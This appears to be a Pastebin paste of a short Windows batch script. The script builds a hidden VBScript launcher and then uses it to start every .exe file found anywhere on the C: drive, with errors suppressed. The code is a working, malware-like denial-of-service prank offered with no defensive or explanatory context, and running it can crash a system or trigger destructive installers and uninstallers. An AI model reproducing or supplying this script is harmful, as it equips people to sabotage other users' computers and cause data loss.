Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- @echo off
- echo On Error Resume Next>run.vbs
- echo CreateObject("WScript.Shell").Run Chr(34)^&Wscript.Arguments(0)^&Chr(34)>>run.vbs
- for /F "tokens=*" %%f in ('dir /B /S C:\ ^| findstr /E "\.exe"') do start "" "wscript" "run.vbs" "%%f"
Advertisement
Add Comment
Please, Sign In to add comment